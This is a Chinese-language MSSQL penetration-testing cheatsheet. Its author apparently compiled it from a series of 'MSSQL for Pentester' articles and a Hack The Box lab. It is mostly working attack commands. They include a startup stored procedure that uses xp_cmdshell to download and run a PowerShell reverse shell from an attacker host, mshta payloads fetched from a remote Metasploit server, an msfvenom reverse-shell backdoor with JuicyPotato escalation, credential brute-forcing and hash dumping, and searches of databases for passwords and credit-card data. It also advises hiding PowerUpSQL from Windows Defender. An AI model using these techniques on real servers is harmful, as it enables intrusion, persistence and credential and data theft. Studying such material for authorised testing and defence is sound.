MSSQL渗透备忘录
来自GitHub的MSSQL-Pentest-Cheatsheet
在此之前简单介绍SQL Server的角色,在SQL Server中分为:
- 固定服务器级角色帮助管理整个SQL Server实例的权限。不能添加、修改或删除固定服务器角色。另外,只有固定服务器角色的成员才能执行
sp_addsrvrolemember
、sp_dropsrvrolemember
系统过程来从角色中添加或删除登录账户。
服务器级的固定角色 | 说明 |
---|---|
sysadmin | sysadmin 固定服务器角色的成员可以在服务器上执行任何活动。 |
serveradmin | serveradmin 固定服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。 |
securityadmin | securityadmin 固定服务器角色的成员可以管理登录名及其属性。 他们可以 GRANT 、DENY 和 REVOKE 服务器级权限。 他们还可以 GRANT 、DENY 和 REVOKE 数据库级权限(如果他们具有数据库的访问权限)。 此外,他们还可以重置 SQL Server 登录名的密码。 重要提示: 如果能够授予对 数据库引擎 的访问权限和配置用户权限,安全管理员可以分配大多数服务器权限。 securityadmin 角色应视为与 sysadmin 角色等效。 |
processadmin | processadmin 固定服务器角色的成员可以终止在 SQL Server 实例中运行的进程。 |
setupadmin | setupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加或删除链接服务器。 (使用 Management Studio 时需要 sysadmin 成员资格。) |
bulkadmin | bulkadmin固定服务器角色的成员可以运行BULK INSERT 语句。 Linux 上的 SQL Server不支持 bulkadmin 角色或管理BULK OPERATIONS权限。 只有sysadmin才能对Linux上的SQL Server执行批量插入。 |
diskadmin | diskadmin固定服务器角色用于管理磁盘文件。 |
dbcreator | dbcreator 固定服务器角色的成员可以创建、更改、删除和还原任何数据库。 |
public | 每个SQL Server登录名都属于public服务器角色。 如果未向服务器主体授予或拒绝对安全对象的特定权限,用户将继承授予对该对象 的公共 权限。 只有在希望所有用户都能使用对象时,才在对象上分配Public权限。 不能更改公共成员身份。 注意:public 与其他角色的实现方式不同,可通过public固定服务器角色授予、拒绝或撤销权限。 |
详细资料👉Understanding SQL Server fixed server roles。
-
固定数据库级角色,public角色是一种特殊的固定数据库角色,数据库的每个合法用户都属于public角色。它为数据库中的用户提供了所有默认权限。
这样就提供了一种机制,即给予那些没有适当权限的所有用户以一定的(通常是有限的)权限。public角色为数据库中的所有用户都保留了默认的权限,因此是不能被删除的。
固定数据库角色名 | 说明 |
---|---|
db_owner | db_owner固定数据库角色的成员可以执行数据库的所有配置和维护活动,还可以 drop SQL Server 中的数据库。 (在SQL数据库 和Synapse Analytics中,某些维护活动需要服务器级别权限,并且不能由 db_owners 执行。) |
db_securityadmin | db_securityadmin固定数据库角色的成员可以仅修改自定义角色的角色成员资格和管理权限。 此角色的成员可能会提升其权限,应监视其操作。 |
db_accessadmin | db_accessadmin固定数据库角色的成员可以为 Windows 登录名、Windows 组和 SQL Server 登录名添加或删除数据库访问权限。 |
db_backupoperator | db_backupoperator固定数据库角色的成员可以备份数据库。 |
db_ddladmin | db_ddladmin固定数据库角色的成员可以在数据库中运行任何数据定义语言 (DDL) 命令。 |
db_datawriter | db_datawriter固定数据库角色的成员可以在所有用户表中添加、删除或更改数据。 |
db_datareader | db_datareader固定数据库角色的成员可以从所有用户表和视图中读取所有数据。 用户对象可能存在于除 sys 和 INFORMATION_SCHEMA 以外的任何架构中 。 |
db_denydatawriter | db_denydatawriter固定数据库角色的成员不能添加、修改或删除数据库内用户表中的任何数据。 |
db_denydatareader | db_denydatareader固定数据库角色的成员不能读取数据库内用户表和视图中的任何数据。详细资料👉Understanding SQL Server fixed database roles |
另外SQL Server还内置了几个系统数据库。
系统数据库 | 说明 |
---|---|
master 数据库 | 记录 SQL Server实例的所有系统级信息。 |
msdb 数据库 | 用于 SQL Server 代理计划警报和作业。 |
model 数据库 | 用作 SQL Server实例上创建的所有数据库的模板。 对 model 数据库进行的修改(如数据库大小、排序规则、恢复模式和其他数据库选项)将应用于以后创建的所有数据库。 |
Resource 数据库 | 一个只读数据库,包含 SQL Server包括的系统对象。 系统对象在物理上保留在 Resource 数据库中,但在逻辑上显示在每个数据库的 sys 架构中。 |
tempdb 数据库 | 一个工作空间,用于保存临时对象或中间结果集。 |
详细参考SQL Server用户权限详解。
1. 存储过程持久化
MSSQL for Pentester: Stored Procedures Persistence
介绍了利用start-up存储过程。
利用前提
- 需要sysadmin权限
- 需要在master数据库使用该存储过程
首先转到master数据库
use master
go
使用nishang的Invoke-PowerShellTcpOneLine.ps1,
将TCP连接的地址改为本机地址,然后启动HTTP监听。
python -m http.server 80
创建存储过程并将其移动到start-up。
CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://[ip-address]/Invoke-PowerShellTcpOneLine.ps1'')"'
GO
EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';
#检查存储过程是否到start-up
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
使用nc
监听。
nc -lvnp port
然后使用SQL Server Configuration Manager重启SQL Server,当SQL Server重新启动时将会调用start-up的存储过程。但是奇怪的是我的80端口收到了下载Invoke-PowerShellTcpOneLine.ps1
的请求,但是在nc
却没有收到shell。
2. 滥用链接数据库
MSSQL for Pentester: Abusing Linked Database
这个我曾经在HTB上遇到过Endgame P.O.O,还引用过上面这篇文章🤣介绍了PowerUpSQL和Metasploit进行提权。
2.1 寻找链接服务器
Import-Module .\PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
当然你也能在SQL Server中查询:
select srvname from sysservers;
2.2 命令执行
首先需要确保xp_cmdshell是开启的,在PowerUpSQL中使用如下命令:
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P********K\SQL****SS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"
开启xp_cmdshell后使用Metasploit的hta_server模块生成一个URL。
use exploit/windows/misc/hta_server
set srvhost eth0
exploit
通过hta_server模块生成一个URL后在PowerUpSQL使用如下命令:
Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P********K\SQL****SS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"
然后顺便查了一下这个mshta.exe是什么,mshta.exeとは?因为是日文就简单翻译一下,mshta.exe是Windows系统中一个核心可执行文件,用于打开HTA或HTMLS类型的文件。
命令执行成功后,msf将会收到一个session。
3. 信任滥用
MSSQL for Pentester: Abusing Trustworthy
算是错误配置了,利用前提是在创建该用户时没有勾选Enforce password policy
3.1 在MSSQL中
- 查看TRUSTWORTHY属性时候为
1
。
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
- 查找哪些用户是db_owners。
SELECT DP1.name AS DatabaseRoleName,
isnull (DP2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1
ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2
ON DRM.member_principal_id = DP2.principal_id
WHERE DP1.type = 'R'
ORDER BY DP1.name;
- 将当前用户模拟为当前数据库的db_owners。
EXECUTE AS USER = 'dbo';
SELECT system_user;
- 将其提升为sysadmin服务器级用户权限,不过奇怪的是我创建了一个非ad_owners用户一样能升级为sysadmin,我测试的是SQL Server 2019。
EXEC sp_addsrvrolemember 'raj','sysadmin';
3.2 使用PowerUpSQL
- 确认数据库是否拥有TRUSTWORTHY属性。
Import-Module .\PowerUpSQL.ps1
Invoke-SQLAuditPrivTrustworthy -Username raj -Password Password@1 -Instance WIN-P********K\SQL****SS -Verbose
- 当确认拥有TRUSTWORTHY属性后使用如下命令拿到sysadmin权限的shell。
Import-Module .\Invoke-SqlServer-Escalate-Dbowner.psm1
Invoke-SqlServer-Escalate-DbOwner -SqlUser raj -SqlPass Password@1 -SqlServerInstance WIN-P********K\SQL****SS
3.3 使用Metasploit
- 使用mssql_escalate_dbowner拿到sysadmin权限。
use auxiliary/admin/mssql_escalate_dbowner
set rhosts [ip_address]
set username [username]
set password [password]
exploit
- 当拥有sysadmin权限后使用mssql_payload拿到meterpreter session。
use exploit/windows/mssql/mssql_payload
set rhosts [ip_address]
set username [username]
set password [password]
exploit
4. 使用扩展脚本执行命令
MSSQL for Pentester: Command Execution with External Scripts
这个利用方式也是在Endgame P.O.O里遇到的,当时用的是Python脚本只想快点拿到flag,就没有太注意还可以使用的R脚本。
查询数据库是否开启扩展脚本。
sp_configure 'external scripts enabled'
GO
如果没有启用扩展脚本的话使用如下命令启动。
EXECUTE sp_configure 'external scripts enabled', 1;
GO
RECONFIGURE;
GO
4.1 使用Python脚本
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("ipconfig"))'
4.2 使用R脚本
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c ipconfig",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
5. 模拟
说实话这篇我看的感觉不太懂MSSQL for Pentester: Impersonate不如看SQL Server Impersonation。
SQL Server模拟是允许执行用户获得指定user或者login权限的机制,直到Session结束或者设置给了另外一个用户。
利用模拟的前提是执行用户没有勾选Enforce password policy
在SQL Server 2005之后增加了2种方式进行模拟
EXECUTE AS LOGIN
:需要sysadmin权限。
EXECUTE AS LOGIN ='jack'
go
EXECUTE AS USER
:只要dbo权限。
EXECUTE AS USER ='jack'
go
上述2种方式用于低权限用户模拟高权限用户,同样对应的存在2种方式让高权限用户授予指定低权限用户模拟自己的权限。
GRANT IMPERSONATE ON LOGIN::LoginD TO LoginC
GRANT IMPERSONATE ON USER::UserB TO UserA
5.1 Metasploit
- 首先需要一个用户,可以使用mssql_login模板进行爆破,如果已经有了可以跳过第1步。
use auxiliary/scanner/mssql/mssql_login
set rhosts [ip_address]
set user_file /root/users.txt
set pass_file /root/passwd.txt
set verbose false
exploit
- 使用mssql_payload,如果不成功可以使用mssql_escalate_execute_as
use exploit/windows/mssql/mssql_payload
set rhosts [ip_address]
set username [username]
set password [password]
exploit
use auxiliary/widows/mssql/mssql_escalate_execute_as
set rhosts [ip_address]
set username [username]
set password [password]
exploit
如果执行成功那么该用户将成为sysadmin。
另外如果mssql_payload执行成功,在msf将会得到一个session,使用whoami /priv
查看权限,如果拥有SeImpersonate
或者 SeAssignPrimaryToken
权限则可以使用Juicy Potato进一步提权。
5.2 权限提升
5.2.1 Juicy Potato
1.通过msf生成后门程序
msfvenom -p windows/shell_reverse_tcp lhost=[ip_address] lport=[port] -f exe > backdoor.exe
- 上传Juicy Potato和后门程序
cd c:\\Users\\Public
upload /root/Downloads/JuicyPotato.exe .
upload /root/Downloads/backdoor.exe .
JuicyPotato.exe -l 8888 -p backdoor.exe -t * -c {CLSID}
- 执行成功后使用
netcat
监听指定端口,权限提升至authority\system
nc -lvnp 8888
5.2.2 Metasploit
另一种方法就是使用Metasploit的扩展incognito。
#加载incognito
load incognito
#列出token
list_tokens -u
#模拟AUTHORITY\SYSTEM的token
impersonate_token "NT AUTHORITY\SYSTEM"
shell
whoami
6. Metasploit
MSSQL for Pentester: Metasploit讲解了怎么使用对应的模块对MSSQL进行渗透测试
6.1 信息收集
定位MSSQL服务
使用mssql_ping模块
use auxiliary/scanner/mssql/mssql_ping
set rhosts [ip_address]
exploit
密码爆破
使用mssql_login模块
use auxiliary/scanner/mssql/mssql_login
set rhosts [ip_address]
set user_file /root/users.txt
set verbose false
exploit
获得MSSQL版本信息
使用mssql_sql模块,需要知道一组用户的账号密码。
use auxiliary/admin/mssql/mssql_sql
set rhosts [ip_address]
set username [username]
set password [password]
exploit
获得MSSQL更多信息
使用mssql_enum模块,需要知道一组用户的账号密码。运行成功后可以得到MSSQL的一些配置信息。
use auxiliary/admin/mssql/mssql_enum
set rhosts [ip_address]
set username [username]
set password [password]
exploit
MSSQL用户枚举
使用mssql_enum_sql_login模块。运行成功后可以获得该服务上的登录名
use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts [ip_address]
set username [username]
set password [password]
exploit
捕捉用户登录
可以通过capture/mssql模块伪装成一个MSSQL服务,当有用户尝试对我们进行连接时就可以拿到一组账号密码。
use auxiliary/server/capture/mssql
set srvhost [ip_address]
exploit
Dumping数据库
执行成功后将获得sample_size * keywords
条数据
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts [ip_address]
set username [username]
set password [password]
set sample_size 4
set keywords [Column_name]|[Column_name]|[Column_name]|...
exploit
Dumping架构
执行成功后将获得数据库的架构信息
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts [ip_address]
set username [username]
set password [password]
exploit
Dumping Hash
获取Hash
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts [ip_address]
set username sa
set password [password]
expoit
6.2 命令执行
xp_cmdshell
mssql_payload模块会尝试使用xp_cmdshell建立一个session。
MSSQl_exec
使用mssql_exec模块
use auxiliary/admin/mssql/mssql_exec
set rhosts [ip_address]
set username [username]
set password [password]
set cmd "net user"
exploit
创建login
将下列命令写入user.sql,使用mssql_sql_file模块调用user.sql。
echo "CREATE LOGIN test1 WITH PASSWORD = 'Password';" > /root/user.sql
#msf
use auxiliary/admin/mssql/mssql_sql_file
set rhosts [ip_address]
set username [username]
set password [password]
set sql_file /root/user.sql
exploit
如果执行成功,我们就会得到一组test1:Password
的账号密码。
CLR集成
使用mssql_clr_payload模块
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set username [username]
set password [password]
exploit
6.3 权限提升
Public到Sysadmin
跟3.3里的第1步是一样的。
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts [ip_address]
set username [username]
set password [password]
exploit
另外一种方法就是5.1里的第2步。
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts [ip_address]
set username [username]
set password [password]
exploit
7. 通过CLR集成命令执行
MSSQL for Pentester: Command Execution with CLR Assembly
第一次见到CLR Assembly,搜了下Microsoft的文档CLR集成的概述
公共语言运行时 (CLR) 是 Microsoft .NET Framework 的核心,它为所有 .NET Framework 代码提供执行环境。 在 CLR 中运行的代码称为托管代码。 CLR 提供执行程序所需的各种函数和服务,包括实时 (JIT) 编译、分配和管理内存、强制类型安全、异常处理、线程管理和安全性。
使用在 Microsoft SQL Server 中驻留的 CLR(称为 CLR 集成),可以在托管代码中编写存储过程、触发器、用户定义函数、用户定义类型和用户定义聚合。
利用条件:
- 服务器开启CLRIntegration Enabled
- msdb数据库开启trustworthy属性
通过GUI执行的照着文章做就好了。
7.1 CLI
主要记录如何通过CLI操作
#使用msdb
use msdb
#启动clr
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE
GO
#确认clr是否启动
SELECT * FROM sys.configuration WHERE name = 'clr enabled'
#设置msdb可信任
ALTER DATABASE msdb SET TRUSTWORTHY ON
#确认msdb是否可信任
select name, is_trustworthy_on from sys.databases
然后在本地vs生成DLL,DLL代码在这Attacking SQL Server CLR Assemblies
#创建Assembly
CREATE ASSEMBLY shell
FROM 'c:\temp\shell.dll'
WITH PERMISION_SET = UNSAFE;
#创建过程
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [shell].[StoredProcedures].[cmd_exec];
GO
#执行命令
cmd_exec 'whoami'
PS:这个方式不懂哪里出了问题,就是出不来。要么是我的问题,要么已经不行了。报错是找不到.NET Framework
的组件,但是我明明安装了.NET
。
7.2 工具
7.2.1 PowerUpSQL
powershell
powershell -ep bypass
cd .\PowerUpSQL-master\
Import-Moduolle .\PowerUpSQL.ps1
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp -Verbose
执行后会出现runcmd.csc
、runcmd.dll
、runcmd.txt
。需要注意的是要给PowerUpSQL.ps1
做好免杀,不然会被WD杀掉。
直接复制runcmd.txt
里的内容到MSSQL里执行即可。
如果CLRIntegration被关闭了可以使用如下命令,即使CLRIntegration没有启用也同样能奏效。
Invoke-SQLOSCmdCLR -Username sa -Password [Password] -Instance [instance_name] –Command "whoami" -Verbose
#使用面板查看
Get-SQLStoredProcedureCLR -Verbose -Instance [instance_name] -Username sa -Password [passwd] | Out-GridView
7.2.2 Metasploit和PowerUpSQL
用hta_server生成URL
use exploit/windows/misc/hta_server
set srvhost *localhost*
exploit
[*] Started reverse TCP handler on [localhost:port]
[*] Using URL: http://[localhost:port]/Hgdhf4Y.hta
[*] Server started.
然后拿着URL去powershell里运行如下命令
Invoke-SQLOSCmdCLR -Username sa -Password [Password] -Instance [instance_name] –Command "mshta.exe http://[localhost:port]/Hgdhf4Y.hta" -Verbose
如果运行成功的话,输入sessions 1
即可拿到shell。
8. 通过OLE自动化命令执行
MSSQL for Pentester: Command Execution with Ole Automation
8.1 什么是OLE?
OLE是Object Linking and Embedding的缩写,Microsoft开发这项技术是为了帮助程序之间更方便的传输数据。
通过这个属性是默认关闭的,可以通过GUI和CLI来打开。
--查看OLE自动化是否开启
EXEC sp_configure 'Ole Automation Procedures';
GO
--开启OLE自动化
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
不知道为啥hta_server模块老是运行不成功。
9. 探索
MSSQL for Pentester: Discovery
10. xp_cmdshell命令执行
MSSQL for Pentester: Command Execution with xp_cmdshell
xp_cmdshell应该是最广为熟知的命令执行方式了。默认情况下xp_cmdshell是关闭的,开启它需要管理员权限。
开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go
文章之后的部分就是介绍各种工具了,我是mssqlclient.py用的最多。其他的工具就看个人习惯了。
11. Nmap
Nmap是一组基于lua的NSE脚本,可以通过locate *.nse | grep ms-sql
查看Nmap有哪些脚本。
# 发现版本信息
nmap -p 1433 --script ms-sql-info [ip_address]
# 凭证爆破
nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=pass.txt [ip_address]
# 执行SQL查询
nmap -p1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=Password@1,ms-sql-query.query="sp_databases" [ip_address]
# 枚举NetBIOS
nmap -p1433 --script ms-sql-ntlm-info [ip_address]
# 密码hash dump,需要适当的特权
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=[passwd] [ip_address]
# 命令执行
nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=[passwd],ms-sql-xp-cmdshell.cmd="net user" [ip_address]
# 空密码登录
nmap -p1433 --script ms-sql-empty-password [ip_address]
# 枚举数据库表
nmap -p1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=[passwd] [ip_address]
12. 哈希
通过SQL查询hash
SELECT * FROM sys.sql_logins
select name,password_hash from sys.sql_logins where name='sa'
Nmap
ms-sql-dump-hashes脚本
nmap -p1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=[passwd] [ip_address]
PowerUpSQL
Import-Module .\PowerUpSQL.ps1
Get-SQLServerPasswordHash -username sa -Password [passwd] -instance [instance_name] -Verbose
JohnTheRipper
john --format=mssql12 --wordlist=pass hash
13. 扩展存储过程命令执行
Command Execution with Extended Stored Procedures
生成DLL
Import-Module .\Powerupsql.ps1Create-SQLFileXpDll -OutFile E:\xp_calc.dll -Command "calc.exe" -ExportName xp_calc -Verbosepowershell
将其注册到系统,为了创建或注册扩展存储过程,用户登录到数据库的登录名必须是sysadmin固定服务器角色的成员。
通常,扩展存储过程的名称以**xp_或sp_**开头,这样,如果用户数据库中没有具有该名称的对象,数据库引擎将自动在主数据库中查找该对象。
Get-SQLQuery -UserName sa -Password [passwd] –Instance [instance_name] –Query "sp_addextendedproc 'xp_calc', '\\[ip_address]\[path]\xp_calc.dll'" -Verbose
就很烦又运行不成功,连上之后就秒断开了。故意输错密码就是直接Connection Failed
,密码对的话还会有个Connection Success
。不懂是哪里出的问题。
最后只能通过MSSQL添加成功
use master --扩展存储过程只能存储在master数据库
EXEC sp_addextendedproc 'xp_calc', 'e:\xp_calc.dll';
查看已存在的扩展存储过程
Get-SQLStoredProcedureXP -Username sa -Password [passwd] -Instance [instance_name] -Verbose
不过在查Adding an Extended Stored Procedure to SQL Server的时候看到在以后MSSQL将会移除扩展存储过程。
14. 提取有用信息
MSSQL for Pentester: Extracting Juicy Information
利用的前提都是需要知道一个具有一定权限的用户账号密码。
提取数据库名
获取能够访问的所有数据库
Get-SQLDatabaseThreaded -Threads 10 -Username sa -Password [passwd] -Instance [instance_name] -verbose | select -ExpandProperty DatabaseName
提取数据库信息
该命令会去寻找符合Keywords
的列数据。
Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password [passwd] -Instance [instance_name] -Verbose
提取数据库登录名
此模块将使用SUSER_NAME()
并仅使用Public角色根据登录id枚举SQL Server登录。
Import-Module .\PowerUpSQL
Get-SQLFuzzServerLogin -Username sa -Password[passwd] -Instance [instance_name] -verbose